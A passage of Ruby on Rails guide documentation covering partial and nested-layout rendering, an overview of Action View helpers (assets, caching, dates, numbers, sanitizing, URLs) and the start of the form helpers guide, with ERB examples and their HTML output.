<p>Customer: <%= customer.name %></p>

employees/_employee.html.erb

<p>Employee: <%= employee.name %></p>

In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.

In the event that the collection is empty, render will return nil, so it should be fairly simple to provide alternative content.

  <h1>Products</h1>
<%= render(@products) || "There are no products available." %>

3.4.6 Local Variables

To use a custom local variable name within the partial, specify the :as option in the call to the partial:

  <%= render partial: "product", collection: @products, as: :item %>

With this change, you can access an instance of the @products collection as the item local variable within the partial.

You can also pass in arbitrary local variables to any partial you are rendering with the locals: {} option:

  <%= render partial: "product", collection: @products,
           as: :item, locals: {title: "Products Page"} %>

In this case, the partial will have access to a local variable title with the value "Products Page".

Rails also makes a counter variable available within a partial called by the collection, named after the title of the partial followed by _counter. For example, when rendering a collection @products the partial _product.html.erb can access the variable product_counter which indexes the number of times it has been rendered within the enclosing view. Note that it also applies for when the partial name was changed by using the as: option. For example, the counter variable for the code above would be item_counter.

You can also specify a second partial to be rendered between instances of the main partial by using the :spacer_template option:

3.4.7 Spacer Templates

  <%= render partial: @products, spacer_template: "product_ruler" %>

Rails will render the _product_ruler partial (with no data passed in to it) between each pair of _product partials.

3.4.8 Collection Partial Layouts

When rendering collections it is also possible to use the :layout option:

  <%= render partial: "product", collection: @products, layout: "special_layout" %>

The layout will be rendered together with the partial for each item in the collection. The current object and object_counter variables will be available in the layout as well, the same way they are within the partial.

3.5 Using Nested Layouts

You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example:

Suppose you have the following ApplicationController layout:

app/views/layouts/application.html.erb

<html>
<head>
  <title><%= @page_title or "Page Title" %></title>
  <%= stylesheet_link_tag "layout" %>
  <style><%= yield :stylesheets %></style>
</head>
<body>
  <div id="top_menu">Top menu items here</div>
  <div id="menu">Menu items here</div>
  <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div>
</body>
</html>

On pages generated by NewsController, you want to hide the top menu and add a right menu:

app/views/layouts/news.html.erb

<% content_for :stylesheets do %>
  #top_menu {display: none}
  #right_menu {float: right; background-color: yellow; color: black}
<% end %>
<% content_for :content do %>
  <div id="right_menu">Right menu items here</div>
  <%= content_for?(:news_content) ? yield(:news_content) : yield %>
<% end %>
<%= render template: "layouts/application" %>

That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.

There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the ActionView::render method via render template: 'layouts/news' to base a new layout on the News layout. If you are sure you will not subtemplate the News layout, you can replace the content_for?(:news_content) ? yield(:news_content) : yield with simply yield.

Action View Helpers

After reading this guide, you will know:

How to format dates, strings and numbers

How to link to images, videos, stylesheets, etc...

How to sanitize content

How to localize content

Chapters

Overview of Helpers Provided by Action View

AssetTagHelper

AtomFeedHelper

BenchmarkHelper

CacheHelper

CaptureHelper

DateHelper

DebugHelper

FormHelper

JavaScriptHelper

NumberHelper

SanitizeHelper

UrlHelper

CsrfHelper

1 Overview of Helpers Provided by Action View

WIP: Not all the helpers are listed here. For a full list see the API documentation

The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the API Documentation, which covers all of the helpers in more detail, but this should serve as a good starting point.

1.1 AssetTagHelper

This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds.

By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting config.asset_host in the application configuration, typically in config/environments/production.rb. For example, let's say your asset host is assets.example.com:

  config.asset_host = "assets.example.com"
image_tag("rails.png")
# => <img src="http://assets.example.com/images/rails.png" />

1.1.1 auto_discovery_link_tag

Returns a link tag that browsers and feed readers can use to auto-detect an RSS, Atom, or JSON feed.

  auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", { title: "RSS Feed" })
# => <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed.rss" />

1.1.2 image_path

Computes the path to an image asset in the app/assets/images directory. Full paths from the document root will be passed through. Used internally by image_tag to build the image path.

  image_path("edit.png") # => /assets/edit.png

Fingerprint will be added to the filename if config.assets.digest is set to true.

  image_path("edit.png")
# => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png

1.1.3 image_url

Computes the URL to an image asset in the app/assets/images directory. This will call image_path internally and merge with your current host or your asset host.

  image_url("edit.png") # => http://www.example.com/assets/edit.png

1.1.4 image_tag

Returns an HTML image tag for the source. The source can be a full path or a file that exists in your app/assets/images directory.

  image_tag("icon.png") # => <img src="/assets/icon.png" />

1.1.5 javascript_include_tag

Returns an HTML script tag for each of the sources provided. You can pass in the filename (.js extension is optional) of JavaScript files that exist in your app/assets/javascripts directory for inclusion into the current page or you can pass the full path relative to your document root.

  javascript_include_tag "common"
# => <script src="/assets/common.js"></script>

1.1.6 javascript_path

Computes the path to a JavaScript asset in the app/assets/javascripts directory. If the source filename has no extension, .js will be appended. Full paths from the document root will be passed through. Used internally by javascript_include_tag to build the script path.

  javascript_path "common" # => /assets/common.js

1.1.7 javascript_url

Computes the URL to a JavaScript asset in the app/assets/javascripts directory. This will call javascript_path internally and merge with your current host or your asset host.

  javascript_url "common"
# => http://www.example.com/assets/common.js

1.1.8 stylesheet_link_tag

Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, .css will be appended automatically.

  stylesheet_link_tag "application"
# => <link href="/assets/application.css" rel="stylesheet" />

1.1.9 stylesheet_path

Computes the path to a stylesheet asset in the app/assets/stylesheets directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.

  stylesheet_path "application" # => /assets/application.css

1.1.10 stylesheet_url

Computes the URL to a stylesheet asset in the app/assets/stylesheets directory. This will call stylesheet_path internally and merge with your current host or your asset host.

  stylesheet_url "application"
# => http://www.example.com/assets/application.css

1.2 AtomFeedHelper

1.2.1 atom_feed

This helper makes building an Atom feed easy. Here's a full usage example:

config/routes.rb

  resources :articles

app/controllers/articles_controller.rb

  def index
  @articles = Article.all

  respond_to do |format|
    format.html
    format.atom
  end
end

app/views/articles/index.atom.builder

  atom_feed do |feed|
  feed.title("Articles Index")
  feed.updated(@articles.first.created_at)

  @articles.each do |article|
    feed.entry(article) do |entry|
      entry.title(article.title)
      entry.content(article.body, type: 'html')

      entry.author do |author|
        author.name(article.author_name)
      end
    end
  end
end

1.3 BenchmarkHelper

1.3.1 benchmark

Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation.

  <% benchmark "Process data files" do %>
  <%= expensive_files_operation %>
<% end %>

This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code.

1.4 CacheHelper

1.4.1 cache

A method for caching fragments of a view rather than an entire action or page. This technique is useful for caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See AbstractController::Caching::Fragments for more information.

  <% cache do %>
  <%= render "shared/footer" %>
<% end %>

1.5 CaptureHelper

1.5.1 capture

The capture method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.

  <% @greeting = capture do %>
  <p>Welcome! The date and time is <%= Time.now %></p>
<% end %>

The captured variable can then be used anywhere else.

  <html>
  <head>
    <title>Welcome!</title>
  </head>
  <body>
    <%= @greeting %>
  </body>
</html>

1.5.2 content_for

Calling content_for stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to yield.

For example, let's say we have a standard application layout, but also a special page that requires certain JavaScript that the rest of the site doesn't need. We can use content_for to include this JavaScript on our special page without fattening up the rest of the site.

app/views/layouts/application.html.erb

  <html>
  <head>
    <title>Welcome!</title>
    <%= yield :special_script %>
  </head>
  <body>
    <p>Welcome! The date and time is <%= Time.now %></p>
  </body>
</html>

app/views/articles/special.html.erb

  <p>This is a special page.</p>

<% content_for :special_script do %>
  <script>alert('Hello!')</script>
<% end %>

1.6 DateHelper

1.6.1 distance_of_time_in_words

Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set include_seconds to true if you want more detailed approximations.

  distance_of_time_in_words(Time.now, Time.now + 15.seconds)
# => less than a minute
distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true)
# => less than 20 seconds

1.6.2 time_ago_in_words

Like distance_of_time_in_words, but where to_time is fixed to Time.now.

  time_ago_in_words(3.minutes.from_now) # => 3 minutes

1.7 DebugHelper

Returns a pre tag that has object dumped by YAML. This creates a very readable way to inspect an object.

  my_hash = { 'first' => 1, 'second' => 'two', 'third' => [1,2,3] }
debug(my_hash)

  <pre class='debug_dump'>---
first: 1
second: two
third:
- 1
- 2
- 3
</pre>

1.8 FormHelper

Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller.

You can learn more about form helpers in the Action View Form Helpers Guide.

1.9 JavaScriptHelper

Provides functionality for working with JavaScript in your views.

1.9.1 escape_javascript

Escape carrier returns and single and double quotes for JavaScript segments.

1.9.2 javascript_tag

Returns a JavaScript tag wrapping the provided code.

  javascript_tag "alert('All is good')"

  <script>
//<![CDATA[
alert('All is good')
//]]>
</script>

1.10 NumberHelper

Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size.

1.10.1 number_to_currency

Formats a number into a currency string (e.g., $13.65).

  number_to_currency(1234567890.50) # => $1,234,567,890.50

1.10.2 number_to_human

Pretty prints (formats and approximates) a number so it is more readable by users; useful for numbers that can get very large.

  number_to_human(1234)    # => 1.23 Thousand
number_to_human(1234567) # => 1.23 Million

1.10.3 number_to_human_size

Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users.

  number_to_human_size(1234)    # => 1.21 KB
number_to_human_size(1234567) # => 1.18 MB

1.10.4 number_to_percentage

Formats a number as a percentage string.

  number_to_percentage(100, precision: 0) # => 100%

1.10.5 number_to_phone

Formats a number into a phone number (US by default).

  number_to_phone(1235551234) # => 123-555-1234

1.10.6 number_with_delimiter

Formats a number with grouped thousands using a delimiter.

  number_with_delimiter(12345678) # => 12,345,678

1.10.7 number_with_precision

Formats a number with the specified level of precision, which defaults to 3.

  number_with_precision(111.2345)               # => 111.235
number_with_precision(111.2345, precision: 2) # => 111.23

1.11 SanitizeHelper

The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements.

1.11.1 sanitize

This sanitize helper will HTML encode all tags and strip all attributes that aren't specifically allowed.

  sanitize @article.body

If either the :attributes or :tags options are passed, only the mentioned attributes and tags are allowed and nothing else.

  sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style)

To change defaults for multiple uses, for example adding table tags to the default:

  class Application < Rails::Application
  config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
end

1.11.2 sanitize_css(style)

Sanitizes a block of CSS code.

1.11.3 strip_links(html)

Strips all link tags from text leaving just the link text.

  strip_links('<a href="https://rubyonrails.org">Ruby on Rails</a>')
# => Ruby on Rails

  strip_links('emails to <a href="mailto:me@email.com">me@email.com</a>.')
# => emails to me@email.com.

  strip_links('Blog: <a href="http://myblog.com/">Visit</a>.')
# => Blog: Visit.

1.11.4 strip_tags(html)

Strips all HTML tags from the html, including comments. This functionality is powered by the rails-html-sanitizer gem.

  strip_tags("Strip <i>these</i> tags!")
# => Strip these tags!

  strip_tags("<b>Bold</b> no more!  <a href='more.html'>See more</a>")
# => Bold no more!  See more

NB: The output may still contain unescaped '<', '>', '&' characters and confuse browsers.

1.12 UrlHelper

Provides methods to make links and get URLs that depend on the routing subsystem.

1.12.1 url_for

Returns the URL for the set of options provided.

1.12.1.1 Examples

  url_for @profile
# => /profiles/1

url_for [ @hotel, @booking, page: 2, line: 3 ]
# => /hotels/1/bookings/1?line=3&page=2

1.12.2 link_to

Links to a URL derived from url_for under the hood. Primarily used to create RESTful resource links, which for this example, boils down to when passing models to link_to.

Examples

  link_to "Profile", @profile
# => <a href="/profiles/1">Profile</a>

You can use a block as well if your link target can't fit in the name parameter. ERB example:

  <%= link_to @profile do %>
  <strong><%= @profile.name %></strong> -- <span>Check it out!</span>
<% end %>

would output:

  <a href="/profiles/1">
  <strong>David</strong> -- <span>Check it out!</span>
</a>

See the API Documentation for more information

1.12.3 button_to

Generates a form that submits to the passed URL. The form has a submit button with the value of the name.

1.12.3.1 Examples

  <%= button_to "Sign in", sign_in_path %>

would roughly output something like:

  <form method="post" action="/sessions" class="button_to">
  <input type="submit" value="Sign in" />
</form>

See the API Documentation for more information

1.13 CsrfHelper

Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site request forgery protection parameter and token, respectively.

  <%= csrf_meta_tags %>

Regular forms generate hidden fields so they do not use these tags. More details can be found in the Rails Security Guide.

Action View Form Helpers

Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of the need to handle form control naming and its numerous attributes. Rails does away with this complexity by providing view helpers for generating form markup. However, since these helpers have different use cases, developers need to know the differences between the helper methods before putting them to use.

After reading this guide, you will know:

How to create search forms and similar kind of generic forms not representing any specific model in your application.

How to make model-centric forms for creating and editing specific database records.

How to generate select boxes from multiple types of data.

What date and time helpers Rails provides.

What makes a file upload form different.

How to post forms to external resources and specify setting an authenticity_token.

How to build complex forms.

Chapters

Dealing with Basic Forms

A Generic Search Form

Helpers for Generating Form Elements

Other Helpers of Interest

Dealing with Model Objects

Binding a Form to an Object

Relying on Record Identification

How do Forms with PATCH, PUT, or DELETE Methods Work?

Making Select Boxes with Ease

Option Groups

Select Boxes and Model Objects

Time Zone and Country Select

Using Date and Time Form Helpers

Select Boxes for Individual Temporal Components

Choices from a Collection of Arbitrary Objects

The collection_select Helper

The collection_radio_buttons Helper

The collection_check_boxes Helper

Uploading Files

What Gets Uploaded

Customizing Form Builders

Understanding Parameter Naming Conventions

Basic Structures

Combining Them

The fields_for Helper :index Option

Forms to External Resources

Building Complex Forms

Configuring the Model

Nested Forms

The Controller

Removing Objects

Preventing Empty Records

Adding Fields on the Fly

Using Tag Helpers without a Form Builder

Using form_tag and form_for

This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit the Rails API documentation for a complete reference.

1 Dealing with Basic Forms

The main form helper is form_with.

  <%= form_with do |form| %>
  Form contents
<% end %>

When called without arguments like this, it creates a form tag which, when submitted, will POST to the current page. For instance, assuming the current page is a home page, the generated HTML will look like this:

  <form accept-charset="UTF-8" action="/" method="post">
  <input name="authenticity_token" type="hidden" value="J7CBxfHalt49OSHp27hblqK20c9PgwJ108nDHX/8Cts=" />
  Form contents
</form>

You'll notice that the HTML contains an input element with type hidden. This input is important, because non-GET forms cannot be successfully submitted without it. The hidden input element with the name authenticity_token is a security feature of Rails called cross-site request forgery protection, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the Securing Rails Applications guide.

1.1 A Generic Search Form

One of the most basic forms you see on the web is a search form. This form contains:

a form element with "GET" method,

a label for the input,

a text input element, and

a submit element.

To create this form you will use form_with and the form builder object it yields. Like so:

  <%= form_with url: "/search", method: :get do |form| %>
  <%= form.label :query, "Search for:" %>
  <%= form.text_field :query %>
  <%= form.submit "Search" %>
<% end %>

This will generate the following HTML:

  <form action="/search" method="get" accept-charset="UTF-8" >
  <label for="query">Search for:</label>
  <input id="query" name="query" type="text" />
  <input name="commit" type="submit" value="Search" data-disable-with="Search" />
</form>

Passing url: my_specified_path to form_with tells the form where to make the request. However, as explained below, you can also pass Active Record objects to the form.

For every form input, an ID attribute is generated from its name ("query" in above example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.

Use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.

1.2 Helpers for Generating Form Elements

The form builder object yielded by form_with provides numerous helper methods for generating form elements such as text fields, checkboxes, and radio buttons. The first parameter to these methods is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the params in the controller with the value entered by the user for that field. For example, if the form contains <%= form.text_field :query %>, then you would be able to get the value of this field in the controller with params[:query].

When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in params. You can read more about them in the Understanding Parameter Naming Conventions section of this guide. For details on the precise usage of these helpers, please refer to the API documentation.

1.2.1 Checkboxes

Checkboxes are form controls that give the user a set of options they can enable or disable:

  <%= form.check_box :pet_dog %>
<%= form.label :pet_dog, "I own a dog" %>
<%= form.check_box :pet_cat %>
<%= form.label :pet_cat, "I own a cat" %>

This generates the following:

  <input type="checkbox" id="pet_dog" name="pet_dog" value="1" />
<label for="pet_dog">I own a dog</label>
<input type="checkbox" id="pet_cat" name="pet_cat" value="1" />
<label for="pet_cat">I own a cat</label>

The first parameter to check_box is the name of the input. The checkbox's values (the values that will appear in params) can optionally be specified using the third and fourth parameters. See the API documentation for details.

1.2.2 Radio Buttons

Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one):

  <%= form.radio_button :age, "child" %>
<%= form.label :age_child, "I am younger than 21" %>
<%= form.radio_button :age, "adult" %>
<%= form.label :age_adult, "I am over 21" %>

Output:

  <input type="radio" id="age_child" name="age" value="child" />
<label for="age_child">I am younger than 21</label>
<input type="radio" id="age_adult" name="age" value="adult" />
<label for="age_adult">I am over 21</label>

The second parameter to radio_button is the value of the input. Because these two radio buttons share the same name (age), the user will only be able to select one of them, and params[:age] will contain either "child" or "adult".

Always use labels for checkbox and radio buttons. They associate text with a specific option and, by expanding the clickable region, make it easier for users to click the inputs.

1.3 Other Helpers of Interest

Other form controls worth mentioning are text areas, hidden fields, password fields, number fields, date and time fields, and many more:

  <%= form.text_area :message, size: "70x5" %>
<%= form.hidden_field :parent_id, value: "foo" %>
<%= form.password_field :password %>
<%= form.number_field :price, in: 1.0..20.0, step: 0.5 %>
<%= form.range_field :discount, in: 1..100 %>
<%= form.date_field :born_on %>
<%= form.time_field :started_at %>
<%= form.datetime_local_field :graduation_day %>
<%= form.month_field :birthday_month %>
<%= form.week_field :birthday_week %>
<%= form.search_field :name %>
<%= form.email_field :address %>
<%= form.telephone_field :phone %>
<%= form.url_field :homepage %>
<%= form.color_field :favorite_color %>

Output:

  <textarea name="message" id="message" cols="70" rows="5"></textarea>
<input type="hidden" name="parent_id" id="parent_id" value="foo" />
<input type="password" name="password" id="password" />
<input type="number" name="price" id="price" step="0.5" min="1.0" max="20.0" />
<input type="range" name="discount" id="discount" min="1" max="100" />
<input type="date" name="born_on" id="born_on" />
<input type="time" name="started_at" id="started_at" />
<input type="datetime-local" name="graduation_day" id="graduation_day" />
<input type="month" name="birthday_month" id="birthday_month" />
<input type="week" name="birthday_week" id="birthday_week" />
<input type="search" name="name" id="name" />
<input type="email" name="address" id="address" />
<input type="tel" name="phone" id="phone" />
<input type="url" name="homepage" id="homepage" />
<input type="color" name="favorite_color" id="favorite_color" value="#000000" />

Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.

The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, email, number, and range inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely no shortage of solutions for this, although a popular tool at the moment is Modernizr, which provides a simple way to add functionality based on the presence of detected HTML5 features.

If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the Securing Rails Applications guide.

2 Dealing with Model Objects

2.1 Binding a Form to an Object

The :model argument of form_with allows us to bind the form builder object to a model object. This means that the form will be scoped to that model object, and the form's fields will be populated with values from that model object.

For example, if we have an @article model object like:

  @article = Article.find(42)
# => #<Article id: 42, title: "My Title", body: "My Body">

The following form:

  <%= form_with model: @article do |form| %>
  <%= form.text_field :title %>
  <%= form.text_area :body, size: "60x10" %>
  <%= form.submit %>
<% end %>

Outputs:

  <form action="/articles/42" method="post" accept-charset="UTF-8" >
  <input name="authenticity_token" type="hidden" value="..." />
  <input type="text" name="article[title]" id="article_title" value="My Title" />
  <textarea name="article[body]" id="article_body" cols="60" rows="10">
    My Body
  </textarea>
  <input type="submit" name="commit" value="Update Article" data-disable-with="Update Article">
</form>

There are several things to notice here:

The form action is automatically filled with an appropriate value for @article.

The form fields are automatically filled with the corresponding values from @article.

The form field names are scoped with article[...]. This means that params[:article] will be a hash containing all these field's values. You can read more about the significance of input names in chapter Understanding Parameter Naming Conventions of this guide.

The submit button is automatically given an appropriate text value.

Conventionally your inputs will mirror model attributes. However, they don't have to! If there is other information you need you can include it in your form just as with attributes and access it via params[:article][:my_nifty_non_attribute_input].

2.1.1 The fields_for Helper

The fields_for helper creates a similar binding but without rendering a <form> tag. This can be used to render fields for additional model objects within the same form. For example, if you had a Person model with an associated ContactDetail model, you could create a single form for both like so:

  <%= form_with model: @person do |person_form| %>
  <%= person_form.text_field :name %>
  <%= fields_for :contact_detail, @person.contact_detail do |contact_detail_form| %>
    <%= contact_detail_form.text_field :phone_number %>
  <% end %>
<% end %>

Which produces the following output:

  <form action="/people" accept-charset="UTF-8" method="post">
  <input type="hidden" name="authenticity_token" value="bL13x72pldyDD8bgtkjKQakJCpd4A8JdXGbfksxBDHdf1uC0kCMqe2tvVdUYfidJt0fj3ihC4NxiVHv8GVYxJA==" />
  <input type="text" name="person[name]" id="person_name" />
  <input type="text" name="contact_detail[phone_number]" id="contact_detail_phone_number" />
</form>

The object yielded by fields_for is a form builder like the one yielded by form_with.

2.2 Relying on Record Identification

The Article model is directly available to users of the application, so - following the best practices for developing with Rails - you should declare it a resource:

  resources :articles

Declaring a resource has a number of side effects. See Rails Routing from the Outside In guide for more information on setting up and using resources.

When dealing with RESTful resources, calls to form_with can get significantly easier if you rely on record identification. In short, you can just pass the model instance and have Rails figure out model name and the rest. In both of these examples, the long and short style have the same outcome:

  ## Creating a new article
# long-style:
form_with(model: @article, url: articles_path)
# short-style:
form_with(model: @article)

## Editing an existing article
# long-style:
form_with(model: @article, url: article_path(@article), method: "patch")
# short-style:
form_with(model: @article)

Notice how the short-style form_with invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking record.persisted?. It also selects the correct path to submit to, and the name based on the class of the object.

If you have a singular resource, you will need to call resource and resolve for it to work with form_with:

  resource :geocoder
resolve('Geocoder') { [:geocoder] }

When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify :url, and :scope (the model name) explicitly.

2.2.1 Dealing with Namespaces

If you have created namespaced routes, form_with has a nifty shorthand for that too. If your application has an admin namespace then

  form_with model: [:admin, @article]

will create a form that submits to the ArticlesController inside the admin namespace (submitting to admin_article_path(@article) in the case of an update). If you have several levels of namespacing then the syntax is similar:

  form_with model: [:admin, :management, @article]

For more information on Rails' routing system and the associated conventions, please see Rails Routing from the Outside In guide.

2.3 How do Forms with PATCH, PUT, or DELETE Methods Work?

The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PATCH", "PUT", and "DELETE" requests (besides "GET" and "POST"). However, most browsers don't support methods other than "GET" and "POST" when it comes to submitting forms.

Rails works around this issue by emulating other methods over POST with a hidden input named "_method", which is set to reflect the desired method:

  form_with(url: search_path, method: "patch")

Output:

  <form accept-charset="UTF-8" action="/search" method="post">
  <input name="_method" type="hidden" value="patch" />
  <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
  <!-- ... -->
</form>

When parsing POSTed data, Rails will take into account the special _method parameter and act as if the HTTP method was the one specified inside it ("PATCH" in this example).

When rendering a form, submission buttons can override the declared method attribute through the formmethod: keyword:

  <%= form_with url: "/posts/1", method: :patch do |form| %>
  <%= form.button "Delete", formmethod: :delete, data: { confirm: "Are you sure?" } %>
  <%= form.button "Update" %>
<% end %>

Similar to <form> elements, most browsers don't support overriding form methods declared through formmethod other than "GET" and "POST".

Rails works around this issue by emulating other methods over POST through a combination of formmethod, value, and name attributes:

  <form accept-charset="UTF-8" action="/posts/1" method="post">
  <input name="_method" type="hidden" value="patch" />
  <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
  <!-- ... -->

  <button type="submit" formmethod="post" name="_method" value="delete" data-confirm="Are you sure?">Delete</button>
  <button type="submit" name="button">Update</button>
</form>

In Rails 6.0 and 5.2, all forms using form_with implement remote: true by default. These forms will submit data using an XHR (Ajax) request. To disable this include local: true. To dive deeper see Working with JavaScript in Rails guide.

3 Making Select Boxes with Ease

Select boxes in HTML require a significant amount of markup - one <option> element for each option to choose from. So Rails provides helper methods to reduce this burden.

For example, let's say we have a list of cities for the user to choose from. We can use the select helper like so:

  <%= form.select :city, ["Berlin", "Chicago", "Madrid"] %>

Output:

  <select name="city" id="city">
  <option value="Berlin">Berlin</option>
  <option value="Chicago">Chicago</option>
  <option value="Madrid">Madrid</option>
</select>

We can also designate <option> values that differ from their labels:

  <%= form.select :city, [["Berlin", "BE"], ["Chicago", "CHI"], ["Madrid", "MD"]] %>

Output:

  <select name="city" id="city">
  <option value="BE">Berlin</option>
  <option value="CHI">Chicago</option>
  <option value="MD">Madrid</option>
</select>

This way, the user will see the full city name, but params[:city] will be one of "BE", "CHI", or "MD".

Lastly, we can specify a default choice for the select box with the :selected argument:

  <%= form.select :city, [["Berlin", "BE"], ["Chicago", "CHI"], ["Madrid", "MD"]], selected: "CHI" %>

Output:

  <select name="city" id="city">
  <option value="BE">Berlin</option>
  <option value="CHI" selected="selected">Chicago</option>
  <option value="MD">Madrid</option>
</select>

3.1 Option Groups

In some cases we may want to improve the user experience by grouping related options together. We can do so by passing a Hash (or comparable Array) to select:

  <%= form.select :city,
      {
        "Europe" => [ ["Berlin", "BE"], ["Madrid", "MD"] ],
        "North America" => [ ["Chicago", "CHI"] ],
      },
      selected: "CHI" %>

Output:

  <select name="city" id="city">
  <optgroup label="Europe">
    <option value="BE">Berlin</option>
    <option value="MD">Madrid</option>
  </optgroup>
  <optgroup label="North America">
    <option value="CHI" selected="selected">Chicago</option>
  </optgroup>
</select>

3.2 Select Boxes and Model Objects

Like other form controls, a select box can be bound to a model attribute. For example, if we have a @person model object like:

  @person = Person.new(city: "MD")

The following form:

  <%= form_with model: @person do |form| %>
  <%= form.select :city, [["Berlin", "BE"], ["Chicago", "CHI"], ["Madrid", "MD"]] %>
<% end %>

Outputs a select box like:

  <select name="person[city]" id="person_city">
  <option value="BE">Berlin</option>
  <option value="CHI">Chicago</option>
  <option value="MD" selected="selected">Madrid</option>
</select>

Notice that the appropriate option was automatically marked selected="selected". Since this select box was bound to a model, we didn't need to specify a :selected argument!

3.3 Time Zone and Country Select

To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined ActiveSupport::TimeZone objects, but you can simply use the time_zone_select helper that already wraps this:

  <%= form.time_zone_select :time_zone %>

Rails used to have a country_select helper for choosing countries, but this has been extracted to the country_select plugin.

4 Using Date and Time Form Helpers

If you do not wish to use HTML5 date and time inputs, Rails provides alternative date and time form helpers that render plain select boxes. These helpers render a select box for each temporal component (e.g. year, month, day, etc). For example, if we have a @person model object like:

  @person = Person.new(birth_date: Date.new(1995, 12, 21))

The following form:

  <%= form_with model: @person do |form| %>
  <%= form.date_select :birth_date %>
<% end %>

Outputs select boxes like:

  <select name="person[birth_date(1i)]" id="person_birth_date_1i">
  <option value="1990">1990</option>
  <option value="1991">1991</option>
  <option value="1992">1992</option>
  <option value="1993">1993</option>
  <option value="1994">1994</option>
  <option value="1995" selected="selected">1995</option>
  <option value="1996">1996</option>
  <option value="1997">1997</option>
  <option value="1998">1998</option>
  <option value="1999">1999</option>
  <option value="2000">2000</option>
</select>
<select name="person[birth_date(2i)]" id="person_birth_date_2i">
  <option value="1">January</option>
  <option value="2">February</option>
  <option value="3">March</option>
  <option value="4">April</option>
  <option value="5">May</option>
  <option value="6">June</option>
  <option value="7">July</option>
  <option value="8">August</option>
  <option value="9">September</option>
  <option value="10">October</option>
  <option value="11">November</option>
  <option value="12" selected="selected">December</option>
</select>
<select name="person[birth_date(3i)]" id="person_birth_date_3i">
  <option value="1">1</option>
  ...
  <option value="21" selected="selected">21</option>
  ...
  <option value="31">31</option>
</select>

Notice that, when the form is submitted, there will be no single value in the params hash that contains the full date. Instead, there will be several values with special names like "birth_date(1i)". Active Record knows how to assemble these specially-named values into a full date or time, based on the declared type of the model attribute. So we can pass params[:person] to e.g. Person.new or Person#update just like we would if the form used a single field to represent the full date.

In addition to the date_select helper, Rails provides time_select and datetime_select.

4.1 Select Boxes for Individual Temporal Components

Rails also provides helpers to render select boxes for individual temporal components: select_year, select_month, select_day, select_hour, select_minute, and select_second. These helpers are "bare" methods, meaning they are not called on a form builder instance. For example:

  <%= select_year 1999, prefix: "party" %>

Outputs a select box like:

  <select name="party[year]" id="party_year">
  <option value="1994">1994</option>
  <option value="1995">1995</option>
  <option value="1996">1996</option>
  <option value="1997">1997</option>
  <option value="1998">1998</option>
  <option value="1999" selected="selected">1999</option>
  <option value="2000">2000</option>
  <option value="2001">2001</option>
  <option value="2002">2002</option>
  <option value="2003">2003</option>
  <option value="2004">2004</option>
</select>

For each of these helpers, you may specify a date or time object instead of a number as the default value, and the appropriate temporal component will be extracted and used.

5 Choices from a Collection of Arbitrary Objects

Sometimes, we want to generate a set of choices from a collection of arbitrary objects. For example, if we have a City model and corresponding belongs_to :city association:

  class City < ApplicationRecord
end

class Person < ApplicationRecord
  belongs_to :city
end

  City.order(:name).map { |city| [city.name, city.id] }
# => [["Berlin", 3], ["Chicago", 1], ["Madrid", 2]]

Then we can allow the user to choose a city from the database with the following form:

  <%= form_with model: @person do |form| %>
